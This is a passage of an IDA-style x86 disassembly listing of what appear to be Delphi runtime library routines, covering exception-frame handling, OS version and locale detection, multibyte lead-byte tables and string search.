loc_4000B61F:				; CODE XREF: sub_4000B488+1C0j
		lea	eax, [ebp+var_170]
		call	sub_40004884
		lea	eax, [ebp+var_154]
		mov	edx, 3
		call	sub_400048A8
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B643:				; DATA XREF: sub_4000B488+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B61F
; ---------------------------------------------------------------------------


loc_4000B64A:				; CODE XREF: sub_4000B488+1BAj
					; DATA XREF: sub_4000B488+192o
		mov	eax, ebx
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B654	proc near		; CODE XREF: sub_400040D8+33p
					; .text:40004498p
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4000B70D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_4000B3F0
		movzx	eax, al
		mov	edx, eax
		add	edx, 0FFFFFFFDh
		sub	edx, 8
		jb	short loc_4000B68E
		jz	short loc_4000B6A5
		dec	edx
		sub	edx, 0Ah
		jnb	short loc_4000B6B0


loc_4000B68E:				; CODE XREF: sub_4000B654+30j
		lea	eax, dword_4001A93C[eax*8]
		mov	ecx, [eax+4]
		mov	eax, [eax]
		mov	dl, 1
		call	sub_4000B030
		mov	ebx, eax
		jmp	short loc_4000B6E0
; ---------------------------------------------------------------------------


loc_4000B6A5:				; CODE XREF: sub_4000B654+32j
		push	ebp
		call	sub_4000B488
		pop	ecx
		mov	ebx, eax
		jmp	short loc_4000B6E0
; ---------------------------------------------------------------------------


loc_4000B6B0:				; CODE XREF: sub_4000B654+38j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		lea	edx, [ebp+var_10]
		mov	eax, off_4001AEE0
		call	sub_400062F0
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_40006FB0
		call	sub_4000B06C
		mov	ebx, eax


loc_4000B6E0:				; CODE XREF: sub_4000B654+4Fj
					; sub_4000B654+5Aj
		mov	eax, ebx
		mov	edx, ds:off_40006F58
		call	sub_40003E74
		test	al, al
		jz	short loc_4000B6F7
		mov	eax, [ebp+var_4]
		mov	[ebx+0Ch], eax


loc_4000B6F7:				; CODE XREF: sub_4000B654+9Bj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000B714


loc_4000B704:				; CODE XREF: sub_4000B654+BEj
		lea	eax, [ebp+var_10]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4000B70D:				; DATA XREF: sub_4000B654+12o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000B704
; ---------------------------------------------------------------------------


loc_4000B714:				; CODE XREF: sub_4000B654+B8j
					; DATA XREF: sub_4000B654+ABo
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000B654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4000B71C	proc near		; CODE XREF: .text:400044B4p
					; DATA XREF: sub_4000B72C+3Eo ...
		call	sub_4000AF68
		mov	eax, 1
		call	sub_4000486C
sub_4000B71C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000B72C	proc near		; CODE XREF: sub_400190AC:loc_400190F2p
		mov	ecx, off_4001AF2C
		mov	dl, 1
		mov	eax, ds:off_40006EA4
		call	sub_4000B0EC
		mov	ds:dword_4001E91C, eax
		mov	ecx, off_4001AFFC
		mov	dl, 1
		mov	eax, ds:off_4000732C
		call	sub_4000B0EC
		mov	ds:dword_4001E920, eax
		mov	eax, off_4001AEEC
		mov	dword ptr [eax], offset	sub_4000B2B0
		mov	eax, off_4001AF5C
		mov	dword ptr [eax], offset	sub_4000B71C
		mov	eax, off_4001AF1C
		mov	edx, ds:off_40006DE0
		mov	[eax], edx
		mov	eax, off_4001AF54
		mov	dword ptr [eax], offset	sub_4000B470
		mov	eax, off_4001AF60
		mov	dword ptr [eax], offset	sub_4000B654
		mov	eax, offset sub_4000B3BC
		mov	edx, off_4001B00C
		mov	[edx], eax
		mov	eax, offset sub_4000B3D8
		mov	edx, off_4001AEDC
		mov	[edx], eax
		retn
sub_4000B72C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B7B0	proc near		; CODE XREF: sub_4000CC50+36p
		cmp	ds:dword_4001E91C, 0
		jz	short loc_4000B7D3
		mov	eax, ds:dword_4001E91C
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_4001E91C
		mov	edx, [eax]
		call	dword ptr [edx-8]
		xor	eax, eax
		mov	ds:dword_4001E91C, eax


loc_4000B7D3:				; CODE XREF: sub_4000B7B0+7j
		cmp	ds:dword_4001E920, 0
		jz	short loc_4000B7F6
		mov	eax, ds:dword_4001E920
		mov	byte ptr [eax+0Ch], 1
		mov	eax, ds:dword_4001E920
		call	sub_40003CE8
		xor	eax, eax
		mov	ds:dword_4001E920, eax


loc_4000B7F6:				; CODE XREF: sub_4000B7B0+2Aj
		mov	eax, off_4001AEEC
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF5C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF1C
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF54
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AF60
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001B00C
		xor	edx, edx
		mov	[eax], edx
		retn
sub_4000B7B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B830	proc near		; CODE XREF: sub_400190AC+55p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h

		add	esp, 0FFFFFF6Ch
		mov	[esp+94h+var_94], 94h
		push	esp
		call	sub_400065D8	; GetVersionExA
		test	eax, eax
		jz	short loc_4000B897
		mov	eax, [esp+94h+var_84]
		mov	dword_4001A7E4,	eax
		mov	eax, [esp+94h+var_90]
		mov	dword_4001A7E8,	eax
		mov	eax, [esp+94h+var_8C]
		mov	dword_4001A7EC,	eax
		cmp	dword_4001A7E4,	1
		jnz	short loc_4000B87B
		mov	eax, [esp+94h+var_88]
		and	eax, 0FFFFh
		mov	dword_4001A7F0,	eax
		jmp	short loc_4000B884
; ---------------------------------------------------------------------------


loc_4000B87B:				; CODE XREF: sub_4000B830+39j
		mov	eax, [esp+94h+var_88]
		mov	dword_4001A7F0,	eax


loc_4000B884:				; CODE XREF: sub_4000B830+49j
		mov	eax, offset dword_4001A7F4
		lea	edx, [esp+94h+var_80]
		mov	ecx, 80h
		call	sub_40004AF4


loc_4000B897:				; CODE XREF: sub_4000B830+15j
		add	esp, 94h
		retn
sub_4000B830	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B8A0	proc near		; CODE XREF: sub_4000B914+1Bp
					; sub_4000B938+Bp
		push	esi
		push	edi
		mov	edi, edx
		xor	edx, edx
		test	eax, eax
		jz	short loc_4000B90C
		cmp	byte ptr [eax+edi], 0
		jz	short loc_4000B90C
		test	edi, edi
		jnz	short loc_4000B8C7
		movzx	eax, byte ptr [eax]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B90C
		mov	dl, 1
		jmp	short loc_4000B90C
; ---------------------------------------------------------------------------


loc_4000B8C7:				; CODE XREF: sub_4000B8A0+12j
		mov	esi, edi
		dec	esi
		jmp	short loc_4000B8CD
; ---------------------------------------------------------------------------


loc_4000B8CC:				; CODE XREF: sub_4000B8A0+3Fj
		dec	esi


loc_4000B8CD:				; CODE XREF: sub_4000B8A0+2Aj
		test	esi, esi
		jl	short loc_4000B8E1
		movzx	ecx, byte ptr [eax+esi]
		movzx	ecx, cl
		bt	dword_4001A82C,	ecx
		jb	short loc_4000B8CC


loc_4000B8E1:				; CODE XREF: sub_4000B8A0+2Fj
		mov	ecx, edi
		sub	ecx, esi
		and	ecx, 80000001h
		jns	short loc_4000B8F2
		dec	ecx
		or	ecx, 0FFFFFFFEh
		inc	ecx


loc_4000B8F2:				; CODE XREF: sub_4000B8A0+4Bj
		test	ecx, ecx
		jnz	short loc_4000B8FA
		mov	dl, 2
		jmp	short loc_4000B90C
; ---------------------------------------------------------------------------


loc_4000B8FA:				; CODE XREF: sub_4000B8A0+54j
		movzx	eax, byte ptr [eax+edi]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B90C
		mov	dl, 1


loc_4000B90C:				; CODE XREF: sub_4000B8A0+8j
					; sub_4000B8A0+Ej ...
		mov	eax, edx
		pop	edi
		pop	esi
		retn
sub_4000B8A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B914	proc near		; CODE XREF: sub_40008028+1Cp
					; sub_4000805C+3Cp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B934
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		dec	edx
		call	sub_4000B8A0


loc_4000B934:				; CODE XREF: sub_4000B914+Fj
		pop	esi
		pop	ebx
		retn
sub_4000B914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000B938	proc near		; CODE XREF: sub_4000828C+1Bp
					; sub_4000BC30+4Ap ...
		xor	ecx, ecx
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B94A
		call	sub_4000B8A0
		mov	ecx, eax


loc_4000B94A:				; CODE XREF: sub_4000B938+9j
		mov	eax, ecx
		retn
sub_4000B938	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000B950	proc near		; CODE XREF: sub_40009414+F8p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		test	ecx, ecx
		jz	short loc_4000B95E
		sub	ecx, 4
		mov	ecx, [ecx]


loc_4000B95E:				; CODE XREF: sub_4000B950+7j
		cmp	edx, ecx
		jle	short loc_4000B96D
		mov	edx, ebx
		test	edx, edx
		jz	short loc_4000B96D
		sub	edx, 4
		mov	edx, [edx]


loc_4000B96D:				; CODE XREF: sub_4000B950+10j
					; sub_4000B950+16j
		call	sub_4000B974
		pop	ebx
		retn
sub_4000B950	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000B974	proc near		; CODE XREF: sub_4000B950:loc_4000B96Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		xor	esi, esi
		test	ebp, ebp
		jg	short loc_4000B986
		mov	al, 1
		jmp	short loc_4000B996
; ---------------------------------------------------------------------------


loc_4000B986:				; CODE XREF: sub_4000B974+Cj
		mov	eax, edi
		test	eax, eax
		jz	short loc_4000B991
		sub	eax, 4
		mov	eax, [eax]


loc_4000B991:				; CODE XREF: sub_4000B974+16j
		cmp	eax, ebp
		setl	al


loc_4000B996:				; CODE XREF: sub_4000B974+10j
		test	al, al
		jnz	short loc_4000B9D4
		mov	esi, ebp
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000B9D4
		mov	ebx, 1
		xor	esi, esi
		cmp	ebp, ebx
		jl	short loc_4000B9D4


loc_4000B9B0:				; CODE XREF: sub_4000B974+5Ej
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000B9CE
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		mov	ebx, eax
		jmp	short loc_4000B9CF
; ---------------------------------------------------------------------------


loc_4000B9CE:				; CODE XREF: sub_4000B974+4Bj
		inc	ebx


loc_4000B9CF:				; CODE XREF: sub_4000B974+58j
		inc	esi
		cmp	ebp, ebx
		jge	short loc_4000B9B0


loc_4000B9D4:				; CODE XREF: sub_4000B974+24j
					; sub_4000B974+2Fj ...
		mov	eax, esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000B974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000B9DC	proc near		; CODE XREF: sub_4000BA6C+45p
					; sub_4000BAF0+3Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	eax, edi
		test	eax, eax
		jz	short loc_4000B9F8
		sub	eax, 4
		mov	eax, [eax]


loc_4000B9F8:				; CODE XREF: sub_4000B9DC+15j
		mov	[ebp+var_C], eax
		mov	esi, 1
		mov	ebx, 1
		jmp	short loc_4000BA27
; ---------------------------------------------------------------------------


loc_4000BA07:				; CODE XREF: sub_4000B9DC+53j
		inc	esi
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000BA26
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		mov	ebx, eax
		jmp	short loc_4000BA27
; ---------------------------------------------------------------------------


loc_4000BA26:				; CODE XREF: sub_4000B9DC+3Bj
		inc	ebx


loc_4000BA27:				; CODE XREF: sub_4000B9DC+29j
					; sub_4000B9DC+48j
		cmp	ebx, [ebp+var_C]
		jge	short loc_4000BA31
		cmp	esi, [ebp+var_4]
		jl	short loc_4000BA07


loc_4000BA31:				; CODE XREF: sub_4000B9DC+4Ej
		cmp	esi, [ebp+var_4]
		jnz	short loc_4000BA58
		cmp	ebx, [ebp+var_C]
		jge	short loc_4000BA58
		movzx	eax, byte ptr [edi+ebx-1]
		movzx	eax, al
		bt	dword_4001A82C,	eax
		jnb	short loc_4000BA58
		mov	edx, ebx
		mov	eax, edi
		call	sub_4000BBC0
		dec	eax
		mov	ebx, eax


loc_4000BA58:				; CODE XREF: sub_4000B9DC+58j
					; sub_4000B9DC+5Dj ...
		mov	eax, [ebp+var_8]
		mov	[eax], esi
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000B9DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BA6C	proc near		; CODE XREF: sub_40009414+109p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF8h
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		test	ebx, ebx
		jg	short loc_4000BA83
		mov	al, 1
		jmp	short loc_4000BA93
; ---------------------------------------------------------------------------


loc_4000BA83:				; CODE XREF: sub_4000BA6C+11j
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BA8E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BA8E:				; CODE XREF: sub_4000BA6C+1Bj
		cmp	eax, ebx
		setl	al


loc_4000BA93:				; CODE XREF: sub_4000BA6C+15j
		test	al, al
		jnz	short loc_4000BAE4
		cmp	ebx, 1
		jle	short loc_4000BAE1
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BAE1
		push	esp
		lea	ecx, [esp+18h+var_10]
		mov	edi, ebx
		dec	edi
		mov	edx, edi
		mov	eax, esi
		call	sub_4000B9DC
		cmp	edi, [esp+14h+var_10]
		jle	short loc_4000BAC0
		mov	al, 1
		jmp	short loc_4000BAD1
; ---------------------------------------------------------------------------


loc_4000BAC0:				; CODE XREF: sub_4000BA6C+4Ej
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BACB
		sub	eax, 4
		mov	eax, [eax]


loc_4000BACB:				; CODE XREF: sub_4000BA6C+58j
		cmp	eax, [esp+14h+var_14]
		setle	al


loc_4000BAD1:				; CODE XREF: sub_4000BA6C+52j
		test	al, al
		jz	short loc_4000BADC
		xor	eax, eax
		mov	[esp+14h+var_14], eax
		jmp	short loc_4000BAE4
; ---------------------------------------------------------------------------


loc_4000BADC:				; CODE XREF: sub_4000BA6C+67j
		inc	[esp+14h+var_14]
		jmp	short loc_4000BAE4
; ---------------------------------------------------------------------------


loc_4000BAE1:				; CODE XREF: sub_4000BA6C+2Ej
					; sub_4000BA6C+37j
		mov	[esp+14h+var_14], ebx


loc_4000BAE4:				; CODE XREF: sub_4000BA6C+29j
					; sub_4000BA6C+6Ej ...
		mov	eax, [esp+14h+var_14]
		pop	ecx
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BA6C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BAF0	proc near		; CODE XREF: sub_40009414+BFp
					; sub_40009414+131p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		test	edx, edx
		jle	short loc_4000BB56
		mov	esi, ebx
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB0D
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB0D:				; CODE XREF: sub_4000BAF0+16j
		cmp	eax, edx
		jge	short loc_4000BB1E
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB1C
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB1C:				; CODE XREF: sub_4000BAF0+25j
		mov	edx, eax


loc_4000BB1E:				; CODE XREF: sub_4000BAF0+1Fj
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BB53
		push	esp
		lea	ecx, [esp+14h+var_C]
		mov	eax, ebx
		call	sub_4000B9DC
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB3E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB3E:				; CODE XREF: sub_4000BAF0+47j
		cmp	eax, [esp+10h+var_10]
		jge	short loc_4000BB56
		mov	eax, esi
		test	eax, eax
		jz	short loc_4000BB4E
		sub	eax, 4
		mov	eax, [eax]


loc_4000BB4E:				; CODE XREF: sub_4000BAF0+57j
		mov	[esp+10h+var_10], eax
		jmp	short loc_4000BB56
; ---------------------------------------------------------------------------


loc_4000BB53:				; CODE XREF: sub_4000BAF0+35j
		mov	[esp+10h+var_10], edx


loc_4000BB56:				; CODE XREF: sub_4000BAF0+Ej
					; sub_4000BAF0+51j ...
		mov	eax, [esp+10h+var_10]
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4000BAF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BB60	proc near		; CODE XREF: sub_400096A8+7Ap
					; sub_4000BB88+2Fp ...
		push	ebx
		mov	ebx, eax
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BB76
		push	ebx
		call	sub_40006708	; CharNextA
		sub	eax, ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4000BB76:				; CODE XREF: sub_4000BB60+Aj
		mov	eax, 1
		pop	ebx
		retn
sub_4000BB60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BB80	proc near		; CODE XREF: sub_400096A8+8Bp
					; sub_400096A8+9Dp ...
		push	eax
		call	sub_40006708	; CharNextA
		retn
sub_4000BB80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BB88	proc near		; CODE XREF: sub_4000ABA4+D2p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, 1
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BBBC
		movzx	edx, byte ptr [ebx+esi-1]
		movzx	edx, dl
		bt	dword_4001A82C,	edx
		jnb	short loc_4000BBBC
		mov	eax, ebx
		call	sub_40004D48
		add	eax, esi
		dec	eax
		call	sub_4000BB60


loc_4000BBBC:				; CODE XREF: sub_4000BB88+12j
					; sub_4000BB88+23j
		pop	esi
		pop	ebx
		retn
sub_4000BB88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BBC0	proc near		; CODE XREF: sub_4000A0D4+1Fp
					; sub_4000B974+51p ...
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		lea	eax, [ebx+1]
		cmp	byte ptr ds:dword_4001E8D4, 0
		jz	short loc_4000BBF4
		movzx	edx, byte ptr [esi+ebx-1]
		movzx	edx, dl
		bt	dword_4001A82C,	edx
		jnb	short loc_4000BBF4
		mov	eax, esi
		call	sub_40004D48
		add	eax, ebx
		dec	eax
		call	sub_4000BB60
		add	eax, ebx


loc_4000BBF4:				; CODE XREF: sub_4000BBC0+10j
					; sub_4000BBC0+21j
		pop	esi
		pop	ebx
		retn
sub_4000BBC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000BBF8	proc near		; CODE XREF: sub_4000A1CC+9Dp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		xor	edi, edi
		mov	eax, ebx
		call	sub_40004D48
		push	eax
		mov	eax, esi
		call	sub_40004D48
		mov	ebp, eax
		mov	eax, ebp
		pop	edx
		call	sub_4000BC30
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000BC26
		mov	edi, ebx
		sub	edi, ebp
		inc	edi


loc_4000BC26:				; CODE XREF: sub_4000BBF8+27j
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BBF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BC30	proc near		; CODE XREF: sub_4000A11C+30p
					; sub_4000BBF8+1Ep

var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebp, edx
		mov	esi, eax
		xor	ebx, ebx
		test	esi, esi
		jz	loc_4000BCC6
		cmp	byte ptr [esi],	0
		jz	short loc_4000BCC6
		test	ebp, ebp
		jz	short loc_4000BCC6
		cmp	byte ptr [ebp+0], 0
		jz	short loc_4000BCC6
		mov	eax, esi
		call	sub_4000815C
		mov	[esp+18h+var_18], eax
		mov	eax, ebp
		call	sub_4000815C
		mov	edi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40008238
		mov	ebx, eax
		jmp	short loc_4000BCB3
; ---------------------------------------------------------------------------


loc_4000BC74:				; CODE XREF: sub_4000BC30+92j
		mov	edx, ebx
		sub	edx, esi
		mov	eax, esi
		call	sub_4000B938
		mov	[esp+18h+var_14], al
		cmp	[esp+18h+var_14], 2
		jz	short loc_4000BC9F
		push	edi
		push	ebp
		push	edi
		push	ebx
		push	0
		push	400h
		call	sub_400064F8	; CompareStringA
		cmp	eax, 2
		jz	short loc_4000BCC6


loc_4000BC9F:				; CODE XREF: sub_4000BC30+58j
		cmp	[esp+18h+var_14], 1
		jnz	short loc_4000BCA7
		inc	ebx


loc_4000BCA7:				; CODE XREF: sub_4000BC30+74j
		inc	ebx
		mov	edx, ebp
		mov	eax, ebx
		call	sub_40008238
		mov	ebx, eax


loc_4000BCB3:				; CODE XREF: sub_4000BC30+42j
		test	ebx, ebx
		jz	short loc_4000BCC4
		mov	eax, ebx
		sub	eax, esi
		mov	edx, [esp+18h+var_18]
		sub	edx, eax
		cmp	edi, edx
		jbe	short loc_4000BC74


loc_4000BCC4:				; CODE XREF: sub_4000BC30+85j
		xor	ebx, ebx


loc_4000BCC6:				; CODE XREF: sub_4000BC30+Fj
					; sub_4000BC30+18j ...
		mov	eax, ebx
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BC30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4000BCD0	proc near		; CODE XREF: sub_4000ADE0+7Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BD04
		mov	esi, eax
		mov	edi, esi
		test	bl, bl
		jz	short loc_4000BCFE
		test	esi, esi
		jz	short loc_4000BCFE


loc_4000BCEC:				; CODE XREF: sub_4000BCD0+2Cj
		mov	edi, esi
		inc	esi
		mov	edx, ebx
		mov	eax, esi
		call	sub_4000BD04
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000BCEC


loc_4000BCFE:				; CODE XREF: sub_4000BCD0+16j
					; sub_4000BCD0+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BCD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000BD04	proc near		; CODE XREF: sub_4000BCD0+Bp
					; sub_4000BCD0+23p
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_40008224
		mov	edi, eax
		test	edi, edi
		jz	short loc_4000BD3E


loc_4000BD1A:				; CODE XREF: sub_4000BD04+38j
		mov	edx, edi
		sub	edx, esi
		mov	eax, esi
		call	sub_4000B938
		sub	al, 1
		jb	short loc_4000BD3E
		jz	short loc_4000BD2D
		jmp	short loc_4000BD2E
; ---------------------------------------------------------------------------


loc_4000BD2D:				; CODE XREF: sub_4000BD04+25j
		inc	edi


loc_4000BD2E:				; CODE XREF: sub_4000BD04+27j
		inc	edi
		mov	edx, ebx
		mov	eax, edi
		call	sub_40008224
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4000BD1A


loc_4000BD3E:				; CODE XREF: sub_4000BD04+14j
					; sub_4000BD04+23j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000BD04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BD44	proc near		; CODE XREF: sub_4000BDA0+96p

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, 0FFFFFFECh
		push	edi
		push	0
		call	sub_40006558	; GetCPInfo
		xor	esi, esi
		jmp	short loc_4000BD87
; ---------------------------------------------------------------------------


loc_4000BD5D:				; CODE XREF: sub_4000BD44+51j
		movzx	eax, byte ptr [edi+esi+6]
		movzx	ebx, byte ptr [edi+esi+7]
		sub	bl, al
		jb	short loc_4000BD84
		inc	ebx
		mov	[ebp+var_1], al


loc_4000BD6F:				; CODE XREF: sub_4000BD44+3Ej
		movzx	eax, [ebp+var_1]
		movzx	eax, al
		bts	dword_4001A82C,	eax
		inc	[ebp+var_1]
		dec	bl
		jnz	short loc_4000BD6F


loc_4000BD84:				; CODE XREF: sub_4000BD44+25j
		add	esi, 2


loc_4000BD87:				; CODE XREF: sub_4000BD44+17j
		cmp	esi, 0Ch
		jge	short loc_4000BD97
		movzx	eax, byte ptr [edi+esi+6]
		or	al, [edi+esi+7]
		jnz	short loc_4000BD5D


loc_4000BD97:				; CODE XREF: sub_4000BD44+46j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_4000BD44	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000BDA0	proc near		; CODE XREF: sub_4000BE64+1Ep
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_4001E8C8
		mov	dword ptr [esi], 409h
		mov	dword ptr [esi+4], 9
		mov	dword ptr [esi+8], 1
		call	sub_400065C8	; GetThreadLocale
		test	eax, eax
		jz	short loc_4000BDCD
		mov	[esi], eax


loc_4000BDCD:				; CODE XREF: sub_4000BDA0+29j
		test	ax, ax
		jz	short loc_4000BDE8
		mov	edx, eax
		and	dx, 3FFh
		movzx	edx, dx
		mov	[esi+4], edx
		movzx	eax, ax
		shr	eax, 0Ah
		mov	[esi+8], eax


loc_4000BDE8:				; CODE XREF: sub_4000BDA0+30j
		push	esi
		mov	esi, offset dword_4000BE44
		mov	edi, offset dword_4001A82C
		mov	ecx, 8
		rep movsd
		pop	esi
		cmp	dword_4001A7E8,	4
		jle	short loc_4000BE13
		cmp	dword_4001A7E4,	2
		jnz	short loc_4000BE13
		mov	byte ptr [esi+0Dh], 1
		jmp	short loc_4000BE22
; ---------------------------------------------------------------------------


loc_4000BE13:				; CODE XREF: sub_4000BDA0+62j
					; sub_4000BDA0+6Bj
		push	4Ah
		call	sub_40006728	; GetSystemMetrics
		test	eax, eax
		setnz	al
		mov	[esi+0Dh], al


loc_4000BE22:				; CODE XREF: sub_4000BDA0+71j
		push	2Ah
		call	sub_40006728	; GetSystemMetrics
		test	eax, eax
		setnz	bl
		mov	[esi+0Ch], bl
